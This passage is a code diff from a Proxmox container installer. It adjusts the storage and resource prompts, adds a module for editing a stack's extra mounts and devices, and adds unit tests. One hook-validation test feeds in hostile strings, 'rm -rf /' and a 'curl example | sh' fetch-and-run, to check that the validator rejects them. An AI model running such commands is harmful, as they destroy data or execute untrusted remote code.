     for s in services:
         draft = copy.deepcopy(s)
         draft['compose']['environment'] = draft_envs[s['name']]
         _, plan = _service_plan(template, draft)
+        if mode != DEFAULT_MODE and s['name'] == template['compose_stack']['main_service']:
+            resources = {'cores': int(ui.ask(translate('CPU cores'), str(plan['resources']['cores']))),
+                         'memory_mb': int(ui.ask(translate('Memory in MB'), str(plan['resources']['memory_mb'])))}
+            if resources['cores'] < 1 or resources['memory_mb'] < 256:
+                raise StackError(translate('Invalid resources'))
+        # The paths of the application itself hold the user's data, so where
+        # they go is asked in a default installation too; the databases and
+        # caches beside it keep the values of the recipe.
+        asked = mode != DEFAULT_MODE or s['name'] == template['compose_stack']['main_service']
         for m in plan['mounts']:
             label = f"{s['name']}: {m['container_path']}"
-            mount_mode = ('managed-volume' if mode == DEFAULT_MODE else
-                          ui.choose(f"{translate('Where to store')} {label}",
+            mount_mode = (ui.choose(f"{translate('Where to store')} {label}",
                                     [('managed-volume', translate('Container volume (included in backups)')),
                                      ('host-bind', translate('Host directory (not included in Proxmox backups)'))],
-                                    'managed-volume'))
+                                    'managed-volume') if asked else 'managed-volume')
             if mount_mode is None:
                 raise StackError(translate('Storage selection cancelled'))
             m.update(type=mount_mode, source=volumes, backup=mount_mode=='managed-volume')
@@ -325,9 +345,10 @@ def build_stack(template, ui, mode='advanced'):
                 m['source'] = ui.ask(f"{translate('Host path for')} {label}",
                                      '/mnt/oci-shared/'+name+'/'+s['name']+'/'+m['container_path'].strip('/').replace('/','-'))
                 m['size_gb'] = None
-            elif mode != DEFAULT_MODE:
-                volumes = ask_storage(ui, f"{translate('Storage for')} {label}", 'rootdir', volumes)
-                m['source'] = volumes
+            elif asked:
+                if mode != DEFAULT_MODE:
+                    volumes = ask_storage(ui, f"{translate('Storage for')} {label}", 'rootdir', volumes)
+                    m['source'] = volumes
                 m['size_gb'] = _ask_size(ui, label, max(8, m['size_gb'] or 8))
             if m['size_gb'] is not None and m['size_gb'] < 1:
                 raise StackError(translate('Invalid volume size'))
@@ -338,13 +359,13 @@ def build_stack(template, ui, mode='advanced'):
         ask_stack_custom_mounts(ui, drafts, volumes)
     bridge = ask_bridge(ui, translate('Access bridge'), defaults['bridge'], mode)
     addresses, gateway = access.ask_addresses(ui, bridge, [''])
-    timezone = ui.ask(translate('Timezone'), host.timezone())
+    timezone = quiet.ask(translate('Timezone'), host.timezone())
     envs = resolve_environments(services, timezone, generators)
     for group in template.get('proxmox', {}).get('stack_optional_environment', []):
         service_name = group['service']
         if service_name not in envs:
             raise StackError(f"{translate('Unknown credential service:')} {service_name}")
-        if not ui.confirm(f"{translate('Configure')} {group['label']} ({translate('optional')})", False):
+        if not quiet.confirm(f"{translate('Configure')} {group['label']} ({translate('optional')})", False):
             continue
         for field in group['fields']:
             if field['name'] not in envs[service_name] or envs[service_name][field['name']] != '':
@@ -375,6 +396,8 @@ def build_stack(template, ui, mode='advanced'):
         if 'memory_default_mb' not in single['proxmox'].get('installer_profile', {}).get('resources', {}):
             plan['resources']['memory_mb'] = max(1024 if k in {'postgres','mariadb','linuxserver/mariadb','mongo','getmeili/meilisearch'} else 512, plan['resources']['memory_mb'])
         plan['mounts'] = drafts[index]['deployment']['mounts']
+        if main and mode != DEFAULT_MODE:
+            plan['resources'].update(resources)
         if k == 'postgres':
             health = {'type':'exec','timeout_seconds':180,'argv':['pg_isready','-h','127.0.0.1','-U',env.get('POSTGRES_USER','postgres'),'-d',env.get('POSTGRES_DB',env.get('POSTGRES_USER','postgres'))]}
         elif k == 'mariadb':

oci/src/proxmenux_oci/stack_recreation.py

@@ -0,0 +1,171 @@
+"""Recreate for a multi-container application: add or remove the extra paths
+and devices of its application container. Its own data, its database and the
+other containers are never part of it."""
+from __future__ import annotations
+
+import json
+import re
+import subprocess
+import sys
+import tempfile
+
+from .custom_mounts import ask_custom_mounts
+from .extra_devices import ask_extra_devices
+from .i18n import translate
+
+# The paths each recipe mounts in its application container: its own data,
+# which Recreate never offers to remove.
+RECIPE_PATHS = {
+    'install_nextcloud_stack.sh': ('/var/www/html',),
+    'install_paperless_stack.sh': ('/usr/src/paperless/data', '/usr/src/paperless/media',
+                                   '/usr/src/paperless/consume', '/usr/src/paperless/export'),
+    'install_tandoor_stack.sh': ('/opt/recipes/mediafiles', '/opt/recipes/staticfiles'),
+    'install_immich_stack.sh': ('/data',),
+}
+APPLICATION_ROLES = ('application', 'server')
+GPU_NODE = re.compile(r'/dev/dri/(?:renderD|card)[0-9]+|/dev/kfd')
+PERIPHERAL_NODE = re.compile(
+    r'/dev/(?:apex_[0-9]+|accel/accel[0-9]+|ttyUSB[0-9]+|ttyACM[0-9]+|bus/usb/[0-9]{3}/[0-9]{3})')
+
+
+def _config(vmid):
+    result = subprocess.run(['pct', 'config', str(vmid)], capture_output=True, text=True, check=True)
+    lines = [line.partition(': ') for line in result.stdout.splitlines()]
+    return {key: value for key, separator, value in lines if separator}
+
+
+def _options(value):
+    return dict(part.split('=', 1) for part in value.split(',')[1:] if '=' in part)
+
+
+def _device_path(value):
+    fields = dict(part.split('=', 1) for part in value.split(',') if '=' in part)
+    return fields.get('path') or value.split(',', 1)[0]
+
+
+def application_members(primary):
+    """The members whose paths and devices can be edited: the application of a
+    recipe, the main service of a Compose stack, or every application of a
+    suite that has no main one."""
+    members = primary.get('stack', {}).get('members', [])
+    roles = [m for m in members
+             if (m.get('deployment', {}).get('replay_profile') or {}).get('role') in APPLICATION_ROLES]
+    if roles:
+        return roles
+    main = (primary.get('stack', {}).get('template') or {}).get('compose_stack', {}).get('main_service')
+    named = [m for m in members if (m.get('stack_member') or {}).get('name') == main]
+    return named or members
+
+
+def recipe_paths(member):
+    deployment = member.get('deployment', {})
+    adapter = (deployment.get('replay_profile') or {}).get('adapter')
+    if adapter in RECIPE_PATHS:
+        return set(RECIPE_PATHS[adapter])
+    return {mount['container_path'] for mount in deployment.get('mounts', []) if not mount.get('custom')}
+
+
+def current_state(member):
+    """The mounts and devices of the member now, split into its own and the extra ones."""
+    config = _config(member['vmid'])
+    own = recipe_paths(member)
+    immich = (member.get('deployment', {}).get('replay_profile') or {}).get('adapter') == 'install_immich_stack.sh'
+    mounts, devices = [], []
+    for key, value in config.items():
+        if re.fullmatch(r'mp[0-9]+', key):
+            source, target = value.split(',', 1)[0], _options(value).get('mp')
+            mounts.append({'container_path': target, 'source': source, 'size': _options(value).get('size'),
+                           'type': 'host-bind' if source.startswith('/') else 'managed-volume',
+                           'extra': target not in own})
+        elif re.fullmatch(r'dev[0-9]+', key):
+            path = _device_path(value)
+            # The video device of Immich belongs to its acceleration profile.
+            removable = bool(PERIPHERAL_NODE.fullmatch(path)) or (not immich and bool(GPU_NODE.fullmatch(path)))
+            devices.append({'host_path': path, 'removable': removable})
+    rootfs = config.get('rootfs', 'local-lvm:').split(':', 1)[0]
+    return mounts, devices, rootfs, immich
+
+
+def _describe(mount):
+    if mount['type'] == 'host-bind':
+        return f"{translate('host directory')} {mount['source']}"
+    return f"{translate('Container volume')} {mount.get('size') or ''} {translate('on')} {mount['source'].split(':', 1)[0]}"
+
+
+def plan_changes(ui, member):
+    """Ask what to remove and what to add. None when nothing changes."""
+    mounts, devices, storage, immich = current_state(member)
+    changes = {'remove_mounts': [], 'add_mounts': [], 'remove_devices': [], 'add_devices': []}
+    extra = [mount for mount in mounts if mount['extra']]
+    if extra:
+        kept = ui.checklist(translate('Extra paths to keep (unmark one to remove it)'),
+                            [(mount['container_path'], _describe(mount)) for mount in extra],
+                            [mount['container_path'] for mount in extra])
+        if kept is None:
+            return None
+        for mount in extra:
+            if mount['container_path'] in kept:
+                continue
+            if mount['type'] == 'managed-volume' and not ui.confirm(
+                    f"{translate('Removing this path deletes its container volume and the data in it:')} "
+                    f"{mount['container_path']}\n\n{translate('Delete it?')}", False):
+                continue
+            changes['remove_mounts'].append(mount['container_path'])
+    remaining = [{'type': mount['type'], 'container_path': mount['container_path']} for mount in mounts
+                 if mount['container_path'] not in changes['remove_mounts']]
+    changes['add_mounts'] = [mount for mount in ask_custom_mounts(ui, remaining, storage) if mount.get('custom')]
+    removable = [device for device in devices if device['removable']]
+    if removable:
+        kept = ui.checklist(translate('Devices to keep (unmark one to remove it)'),
+                            [(device['host_path'], device['host_path']) for device in removable],
+                            [device['host_path'] for device in removable])
+        if kept is None:
+            return None
+        changes['remove_devices'] = [device['host_path'] for device in removable if device['host_path'] not in kept]
+    attached = [{'host_path': device['host_path'], 'kind': 'character-device'} for device in devices
+                if device['host_path'] not in changes['remove_devices']]
+    proposed = ask_extra_devices(ui, attached, True, kinds=('usb',) if immich else ('gpu', 'usb'))
+    changes['add_devices'] = proposed[len(attached):]
+    return changes if any(changes.values()) else None
+
+
+def summary(member, changes):
+    name = (member.get('stack_member') or {}).get('name') or member['vmid']
+    lines = [f"{translate('Container')}: CT {member['vmid']} ({name})", '']
+    for mount in changes['add_mounts']:
+        target = (f"{translate('host directory')} {mount['source']}" if mount['type'] == 'host-bind'
+                  else f"{translate('Container volume')} {mount['size_gb']} GB {translate('on')} {mount['source']}")
+        lines.append(f"+ {mount['container_path']} → {target}")
+    lines += [f"- {path}" for path in changes['remove_mounts']]
+    lines += [f"+ {device['host_path']}" for device in changes['add_devices']]
+    lines += [f"- {path}" for path in changes['remove_devices']]
+    lines += ['', translate('The container is restarted to apply the changes. Its own data, the database '
+                            'and the other containers of the application are not touched.')]
+    return '\n'.join(lines)
+
+
+def recreate_stack(project, ui, primary, run_lifecycle):
+    members = application_members(primary)
+    if not members:
+        ui.message(translate('This stack has no saved members to update.'), translate('OCI stack management'))
+        return False
+    member = members[0]
+    if len(members) > 1:
+        options = [(str(m['vmid']), f"CT {m['vmid']} · {(m.get('stack_member') or {}).get('name', '')}")
+                   for m in members]
+        selected = ui.choose(translate('Container to change'), options, options[0][0])
+        if selected is None:
+            return False
+        member = next(m for m in members if str(m['vmid']) == selected)
+    changes = plan_changes(ui, member)
+    if changes is None:
+        ui.message(translate('Nothing was changed.'), translate('Recreate OCI'))
+        return False
+    if not ui.review(summary(member, changes), translate('Recreate OCI'),
+                     question=translate('Recreate with these options?'), default=True):
+        return False
+    with tempfile.NamedTemporaryFile(mode='w', suffix='.json') as file:
+        json.dump(changes, file)
+        file.flush()
+        return run_lifecycle([sys.executable, str(project / 'remote/oci_stack_modify.py'),
+                              str(member['vmid']), '--changes', file.name], translate('Recreate OCI'))

oci/tests/test_advanced_flow_order.py

@@ -103,11 +103,16 @@ class AdvancedFlowOrderTests(unittest.TestCase):
         localtime = next(m for m in plan["mounts"] if m["container_path"] == "/etc/localtime")
         self.assertEqual((localtime["type"], localtime["source"]), ("host-bind", "/etc/localtime"))
 
-    def test_default_mode_asks_no_storage(self, *_):
-        ui = RecordingUI()
+    def test_default_mode_asks_one_storage_the_address_and_the_start(self, *_):
+        ui = RecordingUI({"Storage for the container and its data": "Public"})
         plan = self.build("jellyfin", ui, DEFAULT_MODE)
-        self.assertFalse([text for text in ui.asked if text.startswith("Storage for")])
-        self.assertEqual({m["source"] for m in plan["mounts"]}, {"local-lvm"})
+        self.assertEqual(ui.asked[0], "Storage for the container and its data")
+        self.assertEqual(ui.asked[-2:], ["Start with Proxmox", "Start when finished"])
+        self.assertFalse([text for text in ui.asked if text.startswith("Storage for /")])
+        self.assertEqual(plan["rootfs"]["storage"], "Public")
+        self.assertEqual({m["source"] for m in plan["mounts"]}, {"Public"})
+        plan = self.build("jellyfin", RecordingUI(), DEFAULT_MODE)
+        self.assertEqual({plan["rootfs"]["storage"]} | {m["source"] for m in plan["mounts"]}, {"local-lvm"})
 
     def assert_follows(self, asked, *texts):
         positions = [asked.index(text) for text in texts]

oci/tests/test_default_install_essentials.py

@@ -0,0 +1,119 @@
+"""A default installation of a multi-container application still asks its
+storage, its address and how it starts; everything else comes from the recipe."""
+
+from pathlib import Path
+import sys
+import unittest
+from unittest.mock import patch
+
+ROOT = Path(__file__).resolve().parents[1]
+sys.path.insert(0, str(ROOT / "src"))
+sys.path.insert(0, str(Path(__file__).resolve().parent))
+
+from proxmenux_oci.catalog import Catalog
+from proxmenux_oci.installer import DEFAULT_MODE, build_deployment
+from test_advanced_flow_order import RecordingUI, addresses, storages
+
+STORAGE = "Storage for the containers and their data"
+ADDRESS = "<address>"
+
+
+def asked_addresses(ui, bridge, names, *args):
+    # The address belongs to the questions asked through the real interface.
+    ui.asked.append(ADDRESS)
+    return addresses(ui, bridge, names)
+
+
+def storages_used(plan):
+    used = {value for key, value in plan.items()
+            if key.endswith("storage") and key != "template_storage" and isinstance(value, str)}
+    used |= {plan[key]["storage"] for key in ("media", "application", "transfer")
+             if isinstance(plan.get(key), dict) and plan[key].get("storage")}
+    for service in plan.get("services", []):
+        used.add(service["deployment"]["rootfs"]["storage"])
+        used |= {m["source"] for m in service["deployment"]["mounts"] if m["type"] == "managed-volume"}
+    return used
+
+
+@patch("proxmenux_oci.i18n.language", return_value="en")
+@patch("proxmenux_oci.installer.host.storages", side_effect=storages)
+@patch("proxmenux_oci.installer.host.bridges", return_value=[{"iface": "vmbr0", "cidr": "192.0.2.10/24"}])
+@patch("proxmenux_oci.installer.host.timezone", return_value="Europe/Madrid")
+@patch("proxmenux_oci.installer.access.ask_addresses", side_effect=asked_addresses)
+class DefaultInstallEssentialsTests(unittest.TestCase):
+    catalog = Catalog(ROOT)
+
+    def build(self, app, answers=None):
+        ui = RecordingUI(answers)
+        return ui, build_deployment(self.catalog.compose(app), ui, DEFAULT_MODE)
+
+    def test_every_stack_asks_storage_address_and_start(self, *_):
+        for app in ("nextcloud-stack", "paperless-ngx", "tandoor", "immich", "linkwarden", "suite-arr"):
+            ui, _plan = self.build(app)
+            self.assertIn(STORAGE, ui.asked, app)
+            self.assertIn(ADDRESS, ui.asked, app)
+            self.assertTrue(any("with Proxmox" in text for text in ui.asked), app)
+            self.assertLess(ui.asked.index(STORAGE), ui.asked.index(ADDRESS), app)
+
+    def test_the_users_data_is_placed_by_the_user_and_the_rest_comes_from_the_recipe(self, *_):
+        expected = {
+            "nextcloud-stack": [STORAGE, "Where to store the Nextcloud files, configuration and data",
+                                "Nextcloud volume size in GB", ADDRESS, "Start the stack with Proxmox",
+                                "Start when finished"],
+            "immich": [STORAGE, "Where to store the Immich library", "Library size in GB", ADDRESS,
+                       "Start the stack with Proxmox", "Start when finished"],
+            "tandoor": [STORAGE, "Where to store the recipe images and files", "Files volume size in GB", ADDRESS,
+                        "Start the stack with Proxmox"],
+            "paperless-ngx": [STORAGE, "Documents volume size in GB", "Where to store the consume and export folders",
+                              "Shared directory for consume and export", ADDRESS, "Start the stack with Proxmox",
+                              "Start when finished"],
+            "linkwarden": [STORAGE, "Where to store linkwarden: /data/data", "Size in GB of linkwarden: /data/data",
+                           ADDRESS, "Start the stack with Proxmox"],
+        }
+        for app, asked in expected.items():
+            self.assertEqual(self.build(app)[0].asked, asked, app)
+        for text in ("Stack name", "Base VMID (empty = next free block)", "Timezone"):
+            self.assertNotIn(text, self.build("suite-arr")[0].asked)
+
+    def test_a_host_directory_can_be_chosen_for_the_data(self, *_):
+        _ui, plan = self.build("nextcloud-stack", {
+            "Where to store the Nextcloud files, configuration and data": "host-bind",
+            "Shared host directory": "/mnt/tank/nextcloud"})
+        self.assertEqual((plan["application"]["mode"], plan["application"]["host_path"], plan["application"]["backup"]),
+                         ("host-bind", "/mnt/tank/nextcloud", False))
+        _ui, plan = self.build("nextcloud-stack", {"Nextcloud volume size in GB": "200"})
+        self.assertEqual((plan["application"]["mode"], plan["application"]["size_gb"]), ("managed-volume", 200))
+
+    def test_the_chosen_storage_holds_the_containers_and_their_data(self, *_):
+        for app in ("nextcloud-stack", "paperless-ngx", "tandoor", "immich", "linkwarden", "suite-arr"):
+            _ui, plan = self.build(app, {STORAGE: "Public"})
+            self.assertEqual(storages_used(plan), {"Public"}, app)
+            _ui, plan = self.build(app)
+            self.assertEqual(storages_used(plan), {"local-lvm"}, app)
+
+    def test_a_single_image_application_asks_the_same_essentials(self, *_):
+        single = "Storage for the container and its data"
+        for app in ("jellyfin", "frigate", "uptimekuma"):
+            ui, plan = self.build(app, {single: "Public"})
+            self.assertEqual(ui.asked[0], single, app)
+            self.assertIn(ADDRESS, ui.asked, app)
+            self.assertEqual(ui.asked[-2:], ["Start with Proxmox", "Start when finished"], app)
+            self.assertEqual(plan["rootfs"]["storage"], "Public", app)
+            self.assertEqual({m["source"] for m in plan["mounts"] if m["type"] == "managed-volume"} - {"Public"},
+                             set(), app)
+
+    def test_the_members_of_a_stack_ask_nothing_of_their_own(self, *_):
+        for app in ("linkwarden", "suite-arr"):
+            ui, _plan = self.build(app)
+            self.assertEqual(ui.asked.count(ADDRESS), 1, app)
+            self.assertNotIn("Storage for the container and its data", ui.asked, app)
+            self.assertNotIn("Start with Proxmox", ui.asked, app)
+            self.assertNotIn("Start when finished", ui.asked, app)
+
+    def test_the_start_answers_are_the_users(self, *_):
+        _ui, plan = self.build("nextcloud-stack", {"Start the stack with Proxmox": True, "Start when finished": False})
+        self.assertEqual((plan["onboot"], plan["start_after_create"]), (True, False))
+
+
+if __name__ == "__main__":
+    unittest.main()

oci/tests/test_nvidia_dynamic_console_hook.py

@@ -19,11 +19,22 @@ INVENTORY = {"gpus": ["NVIDIA GeForce RTX 3060, GPU-1234, 550.0"]}
 
 class ConsoleHookTests(unittest.TestCase):
     def test_only_the_proxmenux_start_hook_is_recognised(self):
-        hook = oci_console.start_mark_hook(165).split(": ", 1)[1]
+        line = oci_console.start_mark_hook(165)
+        hook = line.split(": ", 1)[1]
+        self.assertTrue(oci_console.is_start_mark_hook(line))
+        self.assertFalse(oci_console.is_start_mark_hook(line.replace("pre-start", "post-stop")))
         self.assertTrue(dynamic.console_start_hook(hook))
         self.assertFalse(dynamic.console_start_hook(hook.replace("exit 0", "rm -rf /; exit 0")))
         self.assertFalse(dynamic.console_start_hook("/bin/sh -c 'curl example | sh; exit 0'"))
 
+    def test_the_stack_replay_does_not_keep_the_start_hook_as_an_unknown_directive(self):
+        import oci_stack_replay
+        source = Path(oci_stack_replay.__file__).read_text(encoding="utf-8")
+        self.assertIn("and not oci_console.is_start_mark_hook(line)]", source)
+        saved = {"preserved_raw_runtime": [oci_console.start_mark_hook(129), "lxc.cap.drop: sys_admin"]}
+        kept = [l for l in saved["preserved_raw_runtime"] if not oci_console.is_start_mark_hook(l)]
+        self.assertEqual(kept, ["lxc.cap.drop: sys_admin"])
+
     @unittest.skipUnless(hasattr(os, "geteuid") and os.geteuid() == 0, "the NVIDIA hook must belong to root")
     def test_a_container_with_the_console_hook_passes_validation(self):
         with tempfile.TemporaryDirectory() as tmp:

oci/tests/test_stack_extra_paths.py

@@ -0,0 +1,104 @@
+"""Every multi-container application offers extra paths in an advanced installation."""
+
+from pathlib import Path
+import sys
+import unittest
+from unittest.mock import patch
+
+ROOT = Path(__file__).resolve().parents[1]
+sys.path.insert(0, str(ROOT / "src"))
+sys.path.insert(0, str(Path(__file__).resolve().parent))
+
+from proxmenux_oci.catalog import Catalog
+from proxmenux_oci.cli import _deployment_summary_text
+from proxmenux_oci.installer import ADVANCED_MODE, DEFAULT_MODE, build_deployment
+from test_advanced_flow_order import RecordingUI, addresses, storages
+
+EXTRA = "Add an extra custom path"
+SPECIAL = ("nextcloud-stack", "paperless-ngx", "tandoor", "immich")
+
+
+class ExtraPathUI(RecordingUI):
+    """Adds one container volume the first time the extra path is offered."""
+
+    def __init__(self):
+        super().__init__({"Path inside the container (e.g. /media-extra)": "/media-extra",
+                          "Volume size in GB": "20"})
+        self.offered = 0
+
+    def confirm(self, text, default=False):
+        if text == EXTRA:
+            self.asked.append(text)
+            self.offered += 1
+            return self.offered == 1
+        return super().confirm(text, default)
+
+
+@patch("proxmenux_oci.i18n.language", return_value="en")
+@patch("proxmenux_oci.installer.host.storages", side_effect=storages)
+@patch("proxmenux_oci.installer.host.bridges", return_value=[{"iface": "vmbr0", "cidr": "192.0.2.10/24"}])
+@patch("proxmenux_oci.installer.host.timezone", return_value="Europe/Madrid")
+@patch("proxmenux_oci.installer.access.ask_addresses", side_effect=addresses)
+class StackExtraPathTests(unittest.TestCase):
+    catalog = Catalog(ROOT)
+
+    def test_the_advanced_installation_offers_an_extra_path_before_the_network(self, *_):
+        for app in SPECIAL:
+            ui = ExtraPathUI()
+            template = self.catalog.compose(app)
+            plan = build_deployment(template, ui, ADVANCED_MODE)
+            self.assertEqual(ui.asked.count(EXTRA), 2, app)
+            bridge = next(text for text in ui.asked if text.startswith("Access bridge"))
+            self.assertLess(ui.asked.index(EXTRA), ui.asked.index(bridge), app)
+            self.assertEqual([(m["type"], m["container_path"], m["size_gb"]) for m in plan["extra_mounts"]],
+                             [("managed-volume", "/media-extra", 20)], app)
+            self.assertIn("/media-extra", _deployment_summary_text(template, plan), app)
+
+    def test_an_extra_path_cannot_hide_the_data_of_the_application(self, *_):
+        ui = ExtraPathUI()
+        ui.answers["Path inside the container (e.g. /media-extra)"] = "/var/www/html/data"
+        with self.assertRaises(ValueError):
+            build_deployment(self.catalog.compose("nextcloud-stack"), ui, ADVANCED_MODE)
+
+    def test_the_advanced_installation_offers_usb_devices_for_the_application(self, *_):
+        device = "Add another GPU or USB device manually?"
+        usb = [{"path": "/dev/ttyACM1", "name": "Z-Stick", "kind": "Communications"}]
+        for app in SPECIAL:
+            ui = RecordingUI()
+            offered = []
+
+            def confirm(text, default=False, ui=ui, offered=offered):
+                ui.asked.append(text)
+                if text == device:
+                    offered.append(text)
+                    return len(offered) == 1
+                return default
+
+            def choose(text, options, default=None, ui=ui):
+                ui.asked.append(text)
+                tags = [tag for tag, _label in options]
+                if text == "Device to attach":
+                    self.assertNotIn("nvidia", tags, app)
+                    return "usb"
+                return "/dev/ttyACM1" if "/dev/ttyACM1" in tags else default
+
+            ui.confirm, ui.choose = confirm, choose
+            template = self.catalog.compose(app)
+            with patch("proxmenux_oci.extra_devices.host.usb_devices", return_value=usb):
+                plan = build_deployment(template, ui, ADVANCED_MODE)
+            self.assertEqual([(d["kind"], d["host_path"], d["gid_strategy"]) for d in plan["extra_devices"]],
+                             [("character-device", "/dev/ttyACM1", "host-device-gid")], app)
+            self.assertIn("/dev/ttyACM1", _deployment_summary_text(template, plan), app)
+
+    def test_the_default_installation_does_not_ask_it(self, *_):
+        for app in SPECIAL:
+            ui = RecordingUI()
+            plan = build_deployment(self.catalog.compose(app), ui, DEFAULT_MODE)
+            self.assertNotIn(EXTRA, ui.asked, app)
+            self.assertEqual(plan["extra_mounts"], [], app)
+            self.assertEqual(plan["extra_devices"], [], app)
+            self.assertNotIn("Add another GPU or USB device manually?", ui.asked, app)
+
+
+if __name__ == "__main__":
+    unittest.main()

oci/tests/test_stack_recreation.py

@@ -0,0 +1,127 @@
+"""Recreate on a multi-container application edits the extra paths and devices
+of its application container, and never its own data."""
+
+from pathlib import Path
+import sys
+import unittest
+from unittest.mock import patch
+
+ROOT = Path(__file__).resolve().parents[1]
+sys.path.insert(0, str(ROOT / "src"))
+sys.path.insert(0, str(ROOT / "remote"))
+
+from proxmenux_oci import stack_recreation
+
+MEMBER = {"vmid": 129, "stack_member": {"name": "application"},
+          "deployment": {"replay_profile": {"adapter": "install_tandoor_stack.sh", "role": "application"}}}
+DATABASE = {"vmid": 130, "stack_member": {"name": "database"},
+            "deployment": {"replay_profile": {"adapter": "install_tandoor_stack.sh", "role": "database"}}}
+CONFIG = {
+    "rootfs": "local-lvm:vm-129-disk-0,size=8G",
+    "mp0": "local-lvm:vm-129-disk-1,mp=/opt/recipes/staticfiles,backup=1,size=2G",
+    "mp1": "local-lvm:vm-129-disk-2,mp=/opt/recipes/mediafiles,backup=1,size=16G",
+    "mp2": "local-lvm:vm-129-disk-3,mp=/media-extra,backup=1,size=2G",
+    "mp3": "/mnt/share,mp=/host-extra,backup=0",
+    "dev0": "path=/dev/ttyACM1,mode=0660,deny-write=0,gid=20",
+}
+
+
+class ScriptedUI:
+    def __init__(self, kept_paths, kept_devices, delete=True):
+        self.kept = {"Extra paths to keep (unmark one to remove it)": kept_paths,
+                     "Devices to keep (unmark one to remove it)": kept_devices}
+        self.delete = delete
+        self.offered = {}
+
+    def checklist(self, text, options, default=None):
+        self.offered[text] = [tag for tag, _label in options]
+        return self.kept[text]
+
+    def confirm(self, text, default=False):
+        return self.delete if "deletes its container volume" in text else False
+
+
+@patch("proxmenux_oci.i18n.language", return_value="en")
+@patch.object(stack_recreation, "_config", return_value=CONFIG)
+class StackRecreationTests(unittest.TestCase):
+    def test_only_the_application_container_is_edited(self, *_):
+        primary = {"stack": {"members": [DATABASE, MEMBER]}}
+        self.assertEqual([m["vmid"] for m in stack_recreation.application_members(primary)], [129])
+
+    def test_the_data_of_the_recipe_is_never_offered_for_removal(self, *_):
+        ui = ScriptedUI(["/media-extra", "/host-extra"], ["/dev/ttyACM1"])
+        self.assertIsNone(stack_recreation.plan_changes(ui, MEMBER))
+        self.assertEqual(ui.offered["Extra paths to keep (unmark one to remove it)"], ["/media-extra", "/host-extra"])
+
+    def test_unmarked_paths_and_devices_are_removed(self, *_):
+        changes = stack_recreation.plan_changes(ScriptedUI([], []), MEMBER)
+        self.assertEqual(changes["remove_mounts"], ["/media-extra", "/host-extra"])
+        self.assertEqual(changes["remove_devices"], ["/dev/ttyACM1"])
+        self.assertEqual((changes["add_mounts"], changes["add_devices"]), ([], []))
+
+    def test_a_volume_is_kept_when_its_deletion_is_not_confirmed(self, *_):
+        changes = stack_recreation.plan_changes(ScriptedUI([], ["/dev/ttyACM1"], delete=False), MEMBER)
+        self.assertEqual(changes["remove_mounts"], ["/host-extra"])
+
+    def test_the_summary_lists_what_changes(self, *_):
+        changes = {"remove_mounts": ["/media-extra"], "remove_devices": [], "add_devices": [
+            {"host_path": "/dev/ttyACM0"}], "add_mounts": [
+            {"type": "host-bind", "container_path": "/scans", "source": "/mnt/scans"}]}
+        text = stack_recreation.summary(MEMBER, changes)
+        for expected in ("CT 129", "+ /scans", "- /media-extra", "+ /dev/ttyACM0", "are not touched"):
+            self.assertIn(expected, text)
+
+
+class StackModifyValidationTests(unittest.TestCase):
+    def setUp(self):
+        import oci_stack_modify
+        self.modify = oci_stack_modify
+        lines = "\n".join(f"{key}: {value}" for key, value in CONFIG.items()) + "\n"
+        patcher = patch.object(oci_stack_modify, "run", return_value=lines)
+        patcher.start()
+        self.addCleanup(patcher.stop)
+
+    def changes(self, **values):
+        return {"remove_mounts": [], "add_mounts": [], "remove_devices": [], "add_devices": [], **values}
+
+    def test_a_path_that_overlaps_the_data_is_refused(self):
+        mount = {"type": "managed-volume", "container_path": "/opt/recipes/mediafiles/sub", "source": "local-lvm",
+                 "size_gb": 2}
+        with self.assertRaises(ValueError):
+            self.modify.validate(129, self.changes(add_mounts=[mount]))
+
+    def test_removing_something_that_is_not_there_is_refused(self):
+        with self.assertRaises(ValueError):
+            self.modify.validate(129, self.changes(remove_mounts=["/nope"]))
+        with self.assertRaises(ValueError):
+            self.modify.validate(129, self.changes(remove_devices=["/dev/ttyACM0"]))
+
+    def test_an_unsupported_device_is_refused(self):
+        device = {"kind": "character-device", "host_path": "/dev/sda"}
+        with self.assertRaises(ValueError):
+            self.modify.validate(129, self.changes(add_devices=[device]))
+
+    def test_valid_removals_pass(self):
+        self.modify.validate(129, self.changes(remove_mounts=["/media-extra"], remove_devices=["/dev/ttyACM1"]))
+
+    def test_an_updated_application_stops_requiring_a_removed_path(self):
+        kept = [{"container_path": "/opt/recipes/mediafiles", "required": True}]
+        record = {"installation_id": "id", "stack_member": {"primary_vmid": 129},
+                  "observed": {"archive_path": "a", "resolved_registry_digest": "d", "image": {}},
+                  "template": {"container_contract": {"volumes": kept + [
+                      {"container_path": "/media-extra", "required": True}]}},
+                  "deployment": {"replay_profile": {"adapter": "install_tandoor_stack.sh"}, "mounts": []}}
+        converted = {"deployment": {"mounts": [{"container_path": "/opt/recipes/mediafiles"}], "devices": []},
+                     "template": {"container_contract": {"volumes": kept}}}
+        written = {}
+        with patch.object(self.modify.instances, "read", return_value=record), \
+                patch.object(self.modify.instances, "observe", return_value={"config": {}}), \
+                patch.object(self.modify.instances, "location", side_effect=lambda root, vmid: vmid), \
+                patch.object(self.modify.instances, "write", side_effect=written.__setitem__), \
+                patch.dict(self.modify.CONVERTERS, {"install_tandoor_stack.sh": lambda record: converted}):
+            self.modify.register(Path("/nowhere"), 129)
+        self.assertEqual(written[129]["template"]["container_contract"]["volumes"], kept)
+
+
+if __name__ == "__main__":
+    unittest.main()

oci/tests/test_stack_replay_devices.py

@@ -0,0 +1,41 @@
+"""A stack update keeps the USB, serial and GPU nodes of a member, and stops on anything else."""
+
+from pathlib import Path
+import sys
+import unittest
+
+ROOT = Path(__file__).resolve().parents[1]
+sys.path.insert(0, str(ROOT / "remote"))
+
+import oci_stack_replay
+
+
+def projection(*values):
+    return {"native_devices": [{"key": f"dev{index}", "value": value} for index, value in enumerate(values)]}
+
+
+class StackReplayDeviceTests(unittest.TestCase):
+    def test_usb_serial_and_gpu_nodes_are_translated(self):
+        devices = oci_stack_replay.translated_devices(projection(
+            "path=/dev/ttyACM1,mode=0660,deny-write=0,gid=20",
+            "path=/dev/bus/usb/003/002,mode=0664,deny-write=1",
+            "path=/dev/dri/renderD128,mode=0660,gid=104,uid=1000"))
+        self.assertEqual(devices[0], {
+            "id": "native-ttyACM1", "kind": "character-device", "host_path": "/dev/ttyACM1",
+            "container_path": "/dev/ttyACM1", "mode": "0660", "deny_write": False,
+            "gid_strategy": "host-device-gid"})
+        self.assertEqual((devices[1]["gid_strategy"], devices[1]["deny_write"], devices[1]["mode"]),
+                         ("none", True, "0664"))
+        self.assertEqual((devices[2]["host_path"], devices[2]["uid"]), ("/dev/dri/renderD128", 1000))
